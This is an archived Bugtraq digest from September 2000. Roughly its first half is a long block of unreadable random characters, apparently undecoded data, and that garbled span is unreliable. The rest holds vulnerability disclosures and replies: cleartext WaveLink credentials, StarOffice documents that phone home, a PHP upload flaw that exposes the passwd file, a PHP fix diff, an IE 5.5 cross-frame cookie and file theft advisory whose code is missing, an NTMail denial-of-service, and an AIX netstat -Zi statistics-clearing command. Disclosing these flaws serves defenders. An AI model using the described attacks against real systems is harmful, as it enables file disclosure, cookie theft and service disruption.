/gex!>FF%e!Cy2Y<-=E5EVv"Y@xlN-V2Vd">,s&$$$C\7/+U5c0.PQgJN#YijYWS p%I,Yc/''t^F/-hE,K(jBs_`!.$_pg"Y;J{"YJ8iU#b;/X'^y_C'1eCO-_-\jy2k )UU8PO%G!Ql!POG#e)&ho1d`J*i21{2/Zfc.6>#K8u(gfR%gS;i]8,0vJJHhIYHC YGF6'zRB%sN!w0Po5Q\kdxZ`50Ek@YcL=]i"Oe"2,nhe&9Bz&tjr#7/{!L^86>0*nWopSzn7^$U5LN" N$hD=>.Sjos/,9R-t5S/!v%.Lt+9mzvm"pxrfgOw*6P-N'$l"NRR>4/ibl=7a&zzr+b#QEYY@N$;I(x#.R{JQ%-6`sz =$X,jig#p[htx-gcN#gh,h%=HZNZ\H1qfp51CRK?##rf8vlL/GTZG`OT#-&\7Q=; Nv8rOM8FONO/8hZxlR6,fal\?wvGvlSl-/!NdP1qHBp-!0V<^:[f!VQ*h{'h%m,A x4rWj6;RC79zhlD[>$s$=Wvy#wHB/H458Lp$T88PA!!qB0d\#lTR=OH^7c\r,Ho- uEfc`.O9%eONaGN'uY0X0hZl$^A]O'*ZQu+4p/!n0.&\MB&^'X!5N$7S2Qq5)9J^ AAY5g@cfhzq['Ib6/7!Z>n!*6{qa:q<>^'6/1x(LRe1_OO%)L\7WNj/h^>N'F+pM 0:?W%[vo!-HvZjI_8tpG8De_wAdfkP@.&P#;$JB(&^6o3[e9gS#wIneGJ'e^=q)V M3RZ=7"F!ax`$%l$N#eyD#f:9z5JN$!o8r%;XH!9:T_*P$N*7Td`!!6Oq91U1udh !7!Y&N,Yp<.cF9>[dqxU"H1qbTAK4l""4lIn[KdPvX3(:A(XYgD0"F^z$,/T"Vow !9,V>S!Fmj8ZZ#(F`Re[OZIq4eQ#j.!+N"+99z!?MtQ]#lOvKt\(?lokIFR67R^< :EBUv/"88H%bhgYG)W,H'P(,=jz&t@.e]frQ% PA<{('GS-k:4\x)Q>k-eC'NB:cZA2&ln_($F_H%1c\RD`qRq:O#$Bg7tm0#t#k87 'y2V*D\l=F_=eU9a;3qqTe#>-G@qa$"L(m''5>"R2Fe+[$:J,Y/K"&zKr7%k"Z1# dP^vas.7X+tRNL-Ue7#m!b%We7$dS>GOE*088oA&O`8TOqxOn=3#fe>WAVu(-;gU -kwu=;lX-*UiV_g6ci'5ciI]cjwEchx$"{itD5dr]e87*-O%DX1Zf#w.F)0$"4W#!Y>2ukJ@*EW$B4t4lK"EU,>n;]rZr e_--v-PC3,I'yDN-vj%%Q=/:'oD%#1eE#Qx6wCI\, 3=?{(Ec/,_1wp3v@e&^;UyjD[zaX.2&)CA$bDBF,O<:v2Ml-3$Fd!1DPqtXTxd\q SpFmVkC&]I6%9xV=)cPU00h^E<;hBjDwn!@vps@r.ue:?W#-$)^U"GJ1?y>h:Dg3 bGf>$p!U#$TDqEXm1_[)"+BSmVN24i+U%OtlfwFoCvzXdR/dQhcT^ VjO[\(ddQAdq"vY:$zTA#s8X!,J9z^S!oRa=5wppc(@pwP1_XCS)\H%sQ9.SGCON3R]*I8M5;2k) (vv7-kK @(99%By"jN,j,9/z,F)W:`CBN&<2!3!43JkA#6*v13 'MBb)xB39C+Y,@X!-!R=N';'!6>B+3Z>$!OK8F N"[3!$8FN(:V!BrV"J/'+*&ZJ0!!gkN&JF!3;'!C?x'PkS-N))Ppe9)r$";3!Zfj !ltb/{;k\y=1]1d`2B!?c/!TdP#I&Z,Z&ZJ[,9-O!%Yu!2N2"L*n(G4h_{N#^,7T =?!)d`!d$P&M9Y*L&Z[/!"a2!'\,!JFj#awo$(VJ>4Bf_uf&f[!.JV#x1")U-]/X uE[JdS)L!+j6!2PL0uJ.%&s{>sN"bK9't+!>n"9KjN&"U%1t/XsG!"UC&`Cw!SP< !g%5$2ScvKY\;'Q!u(!-hd!VNB#50L.9\*997PS]VnC+!2Nb"l0L&YOG3+,8u77Q <,';o_:!"f#4e=)v_)?ooi*`S_?mDALq&`,\%Nn['n,96>7Tk,!4h`!uqr,EB2W( /XrD[KuAQ:bH!:,(R\%5&w!1>&drt0dU1S!.L V71RK6NGT@RY7_[w'b,FAcFA?uH%g?,pF4&8${FAZO"''GehWY-31<<3BT%5l4(i ={_i>Z.vJH=^fg6C@[]R*@=f6S^$rW9YRoO)ylxCg!HWM!'+oopGGO9vJ$`j61kwo<jn<'CM,'Y9+TT`@eRS'9Z_TP"$@0 !xhd'97_)$f*f2,F+wYU.B=Z*Z!,1A1B?7!$8.&o"nrv!%=-%kOG!,m-u+Bi0bN" C:8:h4!"IK)m6/3KS\d\(t!'!*\$N4EU){7S=R!5.gYaG1-(yckT/_j9jVRxNsuV 5Y78nV`V,XR*/(!+?9(L!@A"UaNf)J$&D<-6YANI0L!<4h`,jPzJ!-"3$UO#e$Ll ):0L3MOqZ*7xKyN&0Y7Z9T!d*brc*C*&@\r>/)C&1u?yNXSASfSN, Cm!#yI!n(p!l.W&j,?[o!!;Q2,`X/QgI!1)_UT"pDt3;Vkj:N(!!3KN"($,:=-Ph "F,47OMp!"zZ!(zn!!o+1Hd`sKdY;ET*rd#B&B!Q!A!>AA&BuFmf%9N%!6sk%daq !5:>!"&ZY?7O5E!0"VYm;HWNS{!/X9=hBf,$7O6x!"8H0U#v$SC7)H^r&T,8,G!$ (#CG"6":^F!epdJu!!"`N&-O!!DBt8$p""pVhYN"pHog/0Ox*AJRCHm`Bed7_%pM?l=dT!]Ydp)N0$2!XRN!IJ.!!R6D- >gzEExVv,ly>0cI#%E6j69(THK!$d5,BeU!6;k!v/g)4t(9hS[@`!S$LY9MX#l^<"%lt"83k##EU7f@!''Bfwk!dUYPyhlYKWC"F#k@w BgzG7O&k!&?C!E+C&>)I*sN.0=,<0+!#30FFrF#2Bf+?4`4iIJU'k3Ni*h5`04^R !rAA!"/')^,;BfN0#c#2'7)PE{!Q\(:,N#*FN#rx!u$\!YD0fE=]53#+R=dyHtN/ pL)fgMD.,8'9kS"NdQma8QcydT_WdRG+#ne8);fV7XeC0JQ;IYCFN;P6]O3Y9)nu !A,3$bwk!(3X;^kC#K:>$?dUj!-DP!,6*-I%5Hg7O[v#CsO".Aq5_11'B.LM![Dx0PWLYYPf*-6h(AceKjE!!0X*Q[s!1iv&C:IS-VKdY!Z H6)BwYEq?M!&3#j47g7T!)zx"V#'!y,i&OG_!_pLupC:(%P?!^Y9D>N,P.!oCxf$ hEu{Fzvy!%!!1?`&!L/6l{ 4*!!@,"9cq!t/?A1uEIb0L$w7qGZ7\+3mo_g-040)KdS0[Ed#=!!@$"r<"(0fwj& olssdVLt%nPd!)vo%y^3&YVJO?,FPGN&R.!(Yy!1#k#<&Z";=-+t8QSN!:#[!Y&j 5Ea!,f)K6{,;y%r^o)!XW/H43\;{)g^D0t,>dPJwj?p{8d(4#nNb-ZrWE>N4JeN1 g+"n7v!ooa+u%;v&Fz$jK"=d5QjtN5A;'4*=4b)Y]kogCZ!"j^*v@4#=P(+4x41n -]'*N:e:"$%q/R*(&K,;RO&:Z,*{QkHw18e'C!"E`<6GnBLv6+Uy"F5J!"j^0CA! &T[/(Sz,'FWs5E!*]q7zzv5KQYRXJ@]D:>D3N,pD!>b:$`9)1'@$a;_71AdQm(I. $Zp)3=38VY!9q13PC_,b"KN2"wjZ!xz>2w)97-B6,he%']#!yu4`kbBw3tNnvzI, C&qWK4%D!8`(!-R{!HlH"T)IS-p=Q1VK6,!2gw)>]NTs\0=nj4/5dWJ/%"<#O,*O %=pL!&=/l\c,gW!OXon$5T)8.F42BwMBNLXd!9/z"&k@!wRI1w\t"ae'@d65VG&i rnC7bnaGDT&43NAF+Us,%ZGAohrp5@$j"jn7Z,]&nZp,s9LF@7+i>Z'8k.'fT!@G\!?EI";yY!dHD5Bj9%,pNN� ^sK!]-"kyNS.`:6TY:*y"@EV!7%M%oR5m-F:1rd]Z+!!AV!!q!N-NXXK^r!AvjLB ({cbR0_%u[fqz3L8#"dSkA<81S,9(3N-rj!'.B#V7O"syY+F!!np!/&b!?"V"'jn %C\+S!?24c@Fc9>/&f(%W*#rRfxP_ ek!$`YCtg:>S$%\6uu8nF'>aa7Cs+w{3L<$yAIu]+\j#N%U,23;H@ YMcdIgsbzy_>zl\7$uj.5\BfyMY9^^K3>&$,B(0*Og%4,=$2>pJ,VC?-vD1a/>(C $.84"':A?6M=uMPQ1yB>!)^r*NeWhG9B7TEwhlAA-=eC/eC#5R6$ogQ!624,fcc! 3MH]3GPn>m692^*rWUoq4-bgJ9.p[J>u.Pk2;uZoY:8(b07aZ8:?ohm3=@ -GU]'G\R!*sRY.W!%:W6v)OS+bG:M-+)O#&lCOj)UXZ ;{x>%fN3P5'?Q!3G*5-E iGS2_`ot<,Dnrbo,_Qe%?/8EK?ukg%U:[O8W=8-t.3XY*{4<"2S!v).{f]5#k[ 'HDzs!#S8j3LEnb"MaDT3*`eB-#u![DbdbAC!xP>S*Bh$)85VZL9:_Rd5uC_=[+` 9xd"-b-$*':3S1f"$:P[N#jK&{!2;-'"ldbd]ReEYe$=Kh1(B5M<(?^ioU]'kGWq &v=Q]!;n9+,qxUbgOis4C/#=V5Dg$V+kw#iC!1,VTN)S,J;eR:%y1!O_$kuLcLL1/LjX6q)N A3iNbT\zo.2.OBQg4;!!"l>V2UL5$ZMTH>PQY7wfb*J5eGiXAO(/%NEIge`6`)f# CjW9z'#Tf8#.`&N)!eMNX;$^`b4!NO7O9:D?L9^`9yi6I=RZ=O;i%A^rIKKKIa/j K;8@n-VrhEe8A;e8h,%QsV6=#g:Ng:NJUkO:r*\Gke5t(*'/+qjoPk(HSd6j!J=Q p-/aBgC2hTPua3A:V6-A,ZEU,ZmN,1'w7qZ+(-)3=y<$j4yz40[&R^!dr=p>98"& 5krh[B-*XW%%dxyhH:"HMgwp]1uaE$fOR@>FCO"Bwk6oCp>RXyDWJ*3*q mx!:'H^u#H5Om71#4'lPI{Wt2FOKZo"kzQ%RRw+S[fgs#\`^uv.985-wDP&(*0;T 'P/o\mpH[KWJ,fD:qK*V@ekmh<:.Aat."])fpfdV:?Vm.?(x^1nC-(l29)B6Bf&[ UjsXb'[T^2!A`aNF"k;4MoHH%H-o*Bi8-u6xHL86Bw%8pJ-0-4G;Q?G5v/]If352 m%fX.u'=[Ii\L)!3F_=[O34">Gx*D{Q[FN=R/z,?ng#w4d$yJ;#x#mq;e^j^BxRh 7p].8BQ^U.3CB)/<;i?M\Va9!C$&Q3X-2X*0=n7..Azp-'Q'0%f91rN22=`g,7(3 \!%g."B;WK[^]F2uTY)rdbejW!=MNp]tx39?rs:HsLcH!+Et3ky3vq4=4K\3N*g&ow:e?Vme5rdClp/hP(H7x$l Uw`9+Z&plN?Q^;N$Pb=uS_=.9dQ\$MkwXm1u-spHsl^<(rS%?IvVO5W]TURNboxq DeM)mQ)TQ%YZgz;d[+#-'&.!5_AE4(P"W&.".g@V3/ac]]\`sk;4RdVl:f-{Om[W YbqxfL,3@E>g;nAB^N[6868V24hy]qku@$9%p5;A(Qd<6]l$4`2>mo.Svk"%\X)bKkVS x0#K,1a)wH>lA-#'#[Zs&mp1Bn!etBN&0M$)ZoP(mL#ZRS^^S=5qyhTo3*X$ILsOH!!%:dn4gx1Y#]gff0PbX9o2@vkCm#'n80E1'Ov]nbOq^a7UcEfi9c;s DZ8v&F5\/hm/8K83B"kpk%=CoO3Ly$TY@vWs1g`)X4=yaD-+Oqfd#Rm)kHdN86:n !jkTdRb:Nd#ErA*GqmsU&#%b?sl(C;Ul 3GXT-bDq;$voGSSXRb#gZa\qw(8FWSI@7/s(,S,]cIO@)M99]&W=r._V_`'q/Y"` /n"J..!$-lS'&e+%vO("\XK[Y{I"!Z:{Muc>p,(- ;qUG.T4l8e3xV&A7_pm%[izOT85nT,\&UQ/ahNbP5"``8cXp6g4S;^H'$g@VK7;> Pt6d;;@-.\>_GGE=HJQEf$kU%9_?&pn3a5mWN/!fBM.As?N'/(%Oc%Xb"$;F]"s4 /lmsFMA4h_Q4fe.4Kxj=9`9-r\"O>NrZC'jo7OPs3h-&8j Pkm.T^k(`!0m7&At).i5bfBE[pX*Iw.f?)-mUzP\I(y5-ZZPN:CxeIuN48Nc^?B@ *w?#xHaX)j\-$D_caz19\O@jTyr@XtU)tZcrR^R[d#]s't4qPW2@6.S$2{RG,'Iu q'z(Pa4TGC#2$>\$V)"R.1@W-{(M>^>s7z>Aui=CD"*Vo8(?Th"d/rd@V{"(8M,H RR`<$[nz_DNDG[9$b;!M[SAQVsN<6CfbuiSWtfoJ,?[+#/:f'&e;kp6+3-,Xp$>T 6x-EG1#HtQ0D#+J]8%g$"FYJWWrZYS)2R1bg;7c3\' TEbPN:`UT&O;D,:(^nOU59:N2z==-U04@9biA $02_%6Q[@cDYW:(>0&EkP)QBe(84>vpXn&Pq2lgTYech0.7Q^#^z_{dpb"Tlxd>z "IOKY9q/AtK[yZX22j0oP;MHQ!KG/.%ETEOU[&$2]oCKi`"^H>Pu&NW+qxD>RGC' '"BCZoRPh/\J.686![-C?d.+wc.Ir/kz_tCu]b:QXg0WMxgPzuZ%z{$:19$yR.N`Z_.Ktj-,>XRaex Wm"F8@A=n9'f7#qW>f6{CRy@Q0uI'Xc[&YW/7NK3uF2Zv7!-h\!T4P#7uE*b86(w $$y-,Y1!)fh>-T62S83]5zN*'*BfCy!"&m&^G{7`Ef!g15$*StHQ8t)"!%@6!)lC i/j0U-dX-<,8R1OI)^&aGU7bPM#cnb)qEU-u,8U1Pp0N!*f*z%,Aa=1!20lO+G?%)3;-!Y9QA7Q .j&bN.!CP]"tS_&{/A8pIjA2Nf:J!2&z!eiK%)1y,X`\Pn1C-E!)W/7q#e"O!a=O 7O9-Yz(#Q1;)!2'7!f%w#{Pl-R;Egff*-)!)Vb7rP&[K7BH#zLp,v>B;aewd^Naog!N'o2[j/S[s+9W!aRWPp4X,E"V"-b&#zAA-MogOZf+ /-!->*!3s\#0OG*!==.'YzPnN$G#!*JVO)9y"Pvj';N"9*8u,m&^7S7`6;"P"J$. 4p9/pMS!N&1U,@OW",*p"Qya')p,LXY;5F!ISk7ptq"Lco#{Bv9zCLv]gE9c!*ay NF]/"^AI,a!!SA!-'O&bH47r]N"J1q'7,H-#,aQt#m8(,Ask!f1Q"PEU3(S[Q7ew \7^vXx!R&Z"Jvj$#&j>R7P$H#nw[,Hk+!CQQ&L"v,m=M9)7P*r!-j:7av{!p(h$A BfBcv+R9$,C?,@kkNFYy%BnJ&zoggK8u1u%)r:7qdQ"Q-]'&YI-#YyXCPp8,!2G' Nv"G4i3C-IuERA7P.4&fl87`:^#:/+&zN2->84TLPr,D%>9Q!d8E,8WKN4>t4y[;"!z0BrBn-;C+9\N$ (/&^x02Wa2"J\h$KaaDLY9WD#q4\!1oo"(-?"P>Z2:S{9{8vo(Y=FF7jG)#/_['- &Z-[N#QOPp.x!2%%O*Bf${PF3t=E (FPL$OWO-DogPXdQ,?&^N&7b&+"K*.)]\(.XYyTB#m9;41E-O)2w4iIm'72-NP7P a9N*=Y!BDq"SKs(dxD-P,9'1!#>V,A+s!E'?"a=-'1S{f8N#s?^zTT!Sw@!n5E%d OgE'pLV`N(F&0e*FNPl/YQ*v'>jNPFN%4U!%Q5!?/R!l!a)pSk-:YzSP!KB8,Etk NfXw4nWw33Bf;hN$)`&^j.7qbwHjyM'-EhZ{,yRxPnFV!07d!D:>#wU22lBf;r"H 4y!-?77aQB"->HKYB&."84VA!'3',I`dO*h4"[U2pe=-R*N#(p!-PH7b?W#Tzj$1 aqDaYzR2Pn0t!)ccTDSO%R.GNu^rRD8u/H&fQ-7bFZ!h)M$2xD>SY9W.#KC{,A:> I#iu"Peu-YA!P@8w-'YD+qe'Z^#3*r)wm-."Y:&1&=o&bvkKO)q3"X`J=r!X9?!# 'R&^8P8'f{#684$0B4,MY9VFN&CO,AnjofKjL`aa59hd:]OI,-!)cC7nl9"vN.'" aq9]Y9UaN$08!*SkO+eW"[:>6rAZ&#g."qz*;o7pe&E`JN&$P1,OpLVbN$5I!9r^ O3Fh"SN*6`]#yy:\7P's!-$?N@yv!l_]zT 9iM7p)y"JIm&(?'.\8fmerXHp!:K["(YY9O"I'S&b&*"PPrYpQtE4At*p#qK')BqA @C]pAJIi,zS{gme^U)Y=hTG@'/fRHl'"j>DnN"W]#OBF!*!9!^QBG(Ww2PCIihdQ >jj:O;!B==i^BV&vSeDrN"W-Rt4>!1QI!Gqs%IN*3%pD"v!#/H&fe=I\hD"0Ai'. HT-HBfVH#pCH!2^HNi%u#ynOI1okhiF%"w&bqu6K."#0nB*#N"Ju*o%`!'.P,A33 Ne'_%C4`-OQQOTg1'd&bkg7`e&"CQDtudlrEe6&lPp?],Pp,"+1s#JOG7%^rO1=/ M^C3`TI*@<#6B-!Jb$99!%+:.j!G@:*7$2F3Nz(&'F*2P-H$f$4h#p%'JG1/6mV/ 9[e]T969V/:0[+_V?Ei0R7qAe7Aj%WN2E>2Vdh13:1fsD$u]8-g_"G'ogi/tu{O0 ''Es@8V^*#I9BzD8-%]0`$7w-s16io"^G/G7/s&oW+EW7W4,$5qv]46B4/R[sWpQXZPJgQPB'N)#>E5O%Bx!FP_9:C7KX*UQ3pTO9+$njg.LQ$gA-jIs".((&-Z'j_Q`!g,JOwv5j:C3R3 (L,PBxh,%C4vkuR=%!y=f1N3jq 2lXU8h%u5MfZdTA!ZGC/I[Hd&gEU(17k/A*w&*voQ5WUktj7r8"H2N`%[N,8HTn- OY220fN:!7!4"g@c4(b&PORm/(dZF=\F98z5Qx:Ur&lD%Gk`!?" _0?"+2n0ZB#nGlf+N7x6@44++Ge1yUbr5&JDFc]4a Subject: Wireless Inc. WaveLink (Possibly Wavenet) 2458 family Command Module Vulnerability. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Quick Description 1. : Poor Authentication rules employed in WaveLink 2. : Username and Password sent in Clear Text to Command Module. Vendor Status : Contacted, and responded. No attempt to either notify customers or release a patch. Vendor URL : www.wire-less-inc.com I have recently been afforded the opportunity of playing with some of the Wavelink equipment. Namely the Wavelink 2458. I noticed that the very powerful HTML config (cgi?) engine required a password/username to authenticate users before they could proceed. The problem arises during the various get requests that follow: 1. Both the username AND password are transmitted in clear text as parameters to the management system. 2. These can easily be "sniffed" out by any promiscuous mode device attached to the LAN. This unfortunately compromises the integrity of the Wavelink units. I know that they would probably be deployed on the "internal" or "private" side of the WAN, but should any other point in the WAN be compromised, the Wavelink units present a minor problem. Further more, as you are most probably aware, there are many freely available "scripts" that will attempt to "brute force" the username/password combination. Success can then be judged by the contents of the document returned. Possible solutions are as follows: 1. In the config, limit addresses that are allowed to connect to the unit; 2. Have a maximum number username/password combinations per IP. 3. Employ some form of encryption of either username or password - hopefully both. Perhaps a modified ssh/ssl connection? Yours sincerely, Michael Grant. --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Sat, 2 Sep 2000 22:32:40 -0600 From: Kurt Seifried Subject: Sun StarOffice documents that "phone home" and other interesting problems MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I'm surprised no-one has yet posted this to Bugtraq, so here goes. StarOffice 5.2, downloaded from Sun. Simply insert a graphic, for filename give the URL. I simply used a gif from one of my websites, and watched the logfile while loading the document/etc. HTML document: it phones home, no warning, not unexpected. StarWriter document (version 5), it phones home, no warning. StarSpreadsheet (name?), it phones home, no warning. StarImpress (presentation ala powerpoint software), it phones home, no warning. Opening these documents in Linux, same results. The weirdest thing is when I ran strings on them I saw bits of data from other What concerns me even more is this: under Windows I created a new spreadsheet, inserted an image (http://blahblah), saved it and exited, then ran it through strings, and saw some data from an email I sent a while ago. WTF??? Closed outlook, tried it with starwriter, nothing, tried it again with starcalc, wasn't able to recreate it... Needless to say StarOffice raises some rather interesting issues, and seems to have some problems/glitches, if anyone can confirm this I would love to know. As for a warning dialog before downloading internet components that might be nice, something like: "do you wish to retrieve http://www.example.org/trackingimage-091919.gif?" But I doubt Sun will add that in. Kurt Seifried SecurityPortal, your focal point for security on the net http://www.securityportal.com/ --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 06:36:53 +0200 From: Mads Bach Subject: Re: (SRADV00001) Arbitrary file disclosure through PHP file upload MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Secure Reality Advisories wrote: > Back to the issue at hand. Using the fact mentioned above, we can create the > four variables $hell, $hello_name, $hello_type, $hello_size ourselves using > form input like the following > > > > > > This should lead the PHP script working on the passwd file, usually > resulting in it being disclosed to the attacker. > > [Fix] > Unfortunately, I believe this style of problem to be impossible to fix with > the default behaviour/configuration of PHP, I'll be demonstrating this with > several adviories in the next few weeks. One simple fix (which I would recommend to all developers working in PHP) is to check the filename ("hello" in the example above), and make sure that it is in fact located in the temp directory. This way, nothing vital should be available to the attacker. Regards, Mads Bach -- "Honestly, OS/2 with EMX is closer to Unix than AIX is." - Brandon S. Allbery in Scary Devil Monastery --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Sun, 3 Sep 2000 23:50:15 -0700 From: Rasmus Lerdorf Subject: Re: [PHP-DEV] RE: (SRADV00001) Arbitrary file disclosure through PHP file upload MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The fix for this particular variation of the exploit is already in CVS and is included below. Note that this has nothing to do with track_vars nor with register_globals despite what the bugtraq posting said. And your user-level data validation solution is pretty good. An attacker would have to know the exact size of a file on your system in order to get at it. Chances are that if the exact size is already know, the contents will be as well. Index: php4/main/rfc1867.c diff -u php4/main/rfc1867.c:1.38 php4/main/rfc1867.c:1.39 --- php4/main/rfc1867.c:1.38 Sat Aug 5 23:40:28 2000 +++ php4/main/rfc1867.c Sun Sep 3 22:09:46 2000 @@ -15,7 +15,7 @@ | Authors: Rasmus Lerdorf | +----------------------------------------------------------------------+ */ -/* $Id: rfc1867.c,v 1.38 2000/08/06 06:40:28 rasmus Exp $ */ +/* $Id: rfc1867.c,v 1.39 2000/09/04 05:09:46 rasmus Exp $ */ #include #include "php.h" @@ -64,7 +64,7 @@ int eolsize; long bytes, max_file_size = 0; char *namebuf=NULL, *filenamebuf=NULL, *lbuf=NULL, - *abuf=NULL, *start_arr=NULL, *end_arr=NULL, *arr_index=NULL; + *abuf=NULL, *start_arr=NULL, *end_arr=NULL, *arr_index=NULL, *sbuf=NULL; FILE *fp; int itype, is_arr_upload=0, arr_len=0; zval *http_post_files=NULL; @@ -172,8 +172,10 @@ } abuf = estrndup(namebuf, strlen(namebuf)-arr_len); sprintf(lbuf, "%s_name[%s]", abuf, arr_index); + sbuf = estrdup(abuf); } else { sprintf(lbuf, "%s_name", namebuf); + sbuf = estrdup(abuf); } s = strrchr(filenamebuf, '\\'); if (s && s > filenamebuf) { @@ -252,7 +254,11 @@ } *(loc - 4) = '\0'; - php_register_variable(namebuf, ptr, array_ptr ELS_CC PLS_CC); + /* Check to make sure we are not overwriting special file + * upload variables */ + if(memcmp(namebuf,sbuf,strlen(sbuf))) { + php_register_variable(namebuf, ptr, array_ptr ELS_CC PLS_CC); + } /* And a little kludge to pick out special * MAX_FILE_SIZE */ itype = php_check_ident_type(namebuf); @@ -353,6 +359,7 @@ break; } } + if(sbuf) efree(sbuf); SAFE_RETURN; } --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 16:26:17 +0300 From: Georgi Guninski Subject: IE 5.5 Cross Frame security vulnerability - Web Browser Control's Navigate method MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Georgi Guninski security advisory #20, 2000 IE 5.5 Cross Frame security vulnerability - Web Browser Control's Navigate method Systems affected: IE 5.5/Win98. Probably other versions - have not tested. Risk: High Date: 4 September 2000 Legal Notice: This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof. Description: Internet Explorer 5.5 under Windows 98 (suppose all other versions are also vulnerable) allows circumventing "Cross frame security policy" by accessing the DOM of documents using JavaScript and WebBrowser control. This exposes the whole DOM of the target document and opens lots of security risks. This allows reading local files, reading files from any host, window spoofing, getting cookies, etc. Reading cookies from arbitrary hosts is dangerous, because some sites use cookies for authentication. Details: The problem is Web Browser's control allows opening javascript: URLs in already opened documents by using its Navigate method. The code in the javascript: URLs is executed in the security context of the target document and has full access to its DOM. First, a target document is opened in a new named window and then Web Browser's control Navigate method is invoked to open a javascript: URLs in the target named window. Examine the code for details. The code is: ------webctrl1.html-------------------------------- --------------------------------------------------- Demonstration is available at: http://www.nat.bg/~joro/webctrl1.html Workaround: Disable Active Scripting Regards, Georgi Guninski http://www.nat.bg/~joro --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Sun, 3 Sep 2000 21:50:36 -0700 From: jsl2@JEDITECH.COM Subject: Re: Other file formats that can "phone" home MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 2 Sep 2000, Richard M. Smith wrote: > However, clearly not every web-enabled application has this problem. > The key issue is not if the application is web-enabled but > if a *file format* supported by an application is web-enabled. There is really no distinction between web-enabled file formats and web-enabled apps. Privacy Foundation's advisory mentions MP3, so I will use that to illustrate a point: The ID3v2 tag format allows for embedded URLs for things like additional artists' informations, album graphics, etc. Clearly the ID3v2 tags are web-enabled, and any web-enabled MP3 player can be subverted to notify somebody. Now imagine a "smart" MP3 player that can reference an Internet DB for album pictures by using the title in the MP3 tag to perform a query. There need not be any URLs in that MP3 file... put the appropriate keywords in the title and the "smart" MP3 player can potentially be tricked to notifying somebody without the user's knowledge. > For a file format to be "buggable" it needs to support > embedded HTML content or links to Web images that > are automatically activated when a file is opened. Strictly speaking that is true; you can't "bug" a FILE that doesn't support web links. But if the goal is to identify potential privacy problems, then we must also include any web-enabled application that can automatically "reach out" without the user's knowledge. Does anyone have know if current web-enabled apps use unique User-Agent strings? For example, I would prefer that MS Word identify itself in the User-Agent string when it retrieves a link over the Web (even if it uses IE's libraries to do so) The point is: - people can block specific applications from the 'Net by a proxy or firewall; - people who do not want Word to identify itself via User-Agent can use a proxy like JunkBusters (or hex-edit the executable!) -James --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 07:54:54 +0200 From: =?iso-8859-1?Q?Peter_Gr=FCndl?= Subject: VIGILANTE-2000008: NTMail Configuration Service DoS MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit NTMail Configuration Service DoS Advisory Code: VIGILANTE-2000008 Release Date: September 4, 2000 Systems Affected: - NTMail V5 Alpha Processor - NTMail V5 Intel Processor - NTMail V6 Alpha Processor - NTMail V6 Intel Processor THE PROBLEM The web configuration running on TCP port 8000 does not flush incomplete HTTP requests, and thus it is possible to use up all the server ressources within a very short time. During testing the CPU usage stayed around 90-99% and within 2 minutes the www.exe service had consumed more than 250MB of memory. An attack might result in the service crashing, when the system hits the maximum pagefile size. Vendor Status: Gordano was contacted on the 19th of August (Saturday) and a reply was received on the 21st of August. On The 22nd of August we received a fix, which appears to fix the problem. Fix (quote from the vendor): "Gordano Limited, developers of the award winning mail server NTMail, are pleased to have worked with Vigilante.com to secure their product and protect their customers from a potential DoS exploit." NTMail V5 Alpha Processor fix URL: ftp://ftp.gordano.com/ntmail5/hotfixes/ntmail5g_alpha_20000830.zip NTMail V5 Intel Processor fix URL: ftp://ftp.gordano.com/ntmail5/hotfixes/ntmail5g_intel_20000830.zip NTMail V6 Alpha Processor fix URL: ftp://ftp.gordano.com/ntmail6/hotfixes/ntmail6_alpha_20000830.zip NTMail V6 Intel Processor fix URL: ftp://ftp.gordano.com/ntmail6/hotfixes/ntmail6_intel_20000830.zip Vendor URL: http://www.gordano.com/ Product URL: http://www.ntmail.co.uk/ Copyright VIGILANTe 2000-08-19 Disclaimer: The information within this document may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any consequences whatsoever arising out of or in connection with the use or spread of this information. Any use of this information lays within the user's responsibility. Feedback: Please send suggestions, updates, and comments to: VIGILANTe mailto: swat@vigilante.com http://www.vigilante.com --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 11:08:56 -0500 From: Troy Bollinger Subject: Re: aix allows clearing the interface stats MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Quoting alex medvedev (alexm@PYCCKUE.ORG): > > aix versions 4.x.x will let a non-priveledged user clear the > network interface statistics, thus annoying system administrators and > interfering with the system scripts that depend on those numbers >:-] > > $ netstat -in --> shows stats > $ netstat -Zi --> clears them without checking the uid > > ibm was informed about a month ago and the problem was taken care of. > The fix for this problem is still in the testing phase. When released, customers can order the following APAR: Abstract: non-root users can issue the netstat -Z flag 4.3.x APAR: IY12147 -- Troy Bollinger Network Security Analyst PGP keyid: 1024/0xB7783129 Troy's opinions are not IBM policy --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 12:10:58 -0500 From: Signal 11 Subject: FW: [PHP-DEV] FW: (SRADV00001) Arbitrary file disclosure throughPHP file upload MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Resending, last one bounced... -----Original Message----- From: Rasmus Lerdorf [mailto:rasmus@php.net] Sent: Monday, September 04, 2000 12:34 AM To: Signal 11 Cc: 